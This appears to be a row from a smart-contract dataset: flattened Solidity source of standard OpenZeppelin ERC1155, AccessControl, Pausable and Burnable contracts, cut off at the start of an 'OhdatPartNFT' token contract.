address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf35d6d2527baf30545006362bb78179de7fdbd44
// Sources flattened with hardhat v2.5.0 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.2.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC1155/IERC1155.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.2.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC1155/ERC1155.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File @openzeppelin/contracts/utils/Strings.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/access/AccessControl.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File @openzeppelin/contracts/security/Pausable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File OhdatPartNFT.sol pragma solidity ^0.8.0; contract OhdatPartNFT is ERC1155, AccessControl, Pausable, ERC1155Burnable { bytes32 public constant URI_SETTER_ROLE = 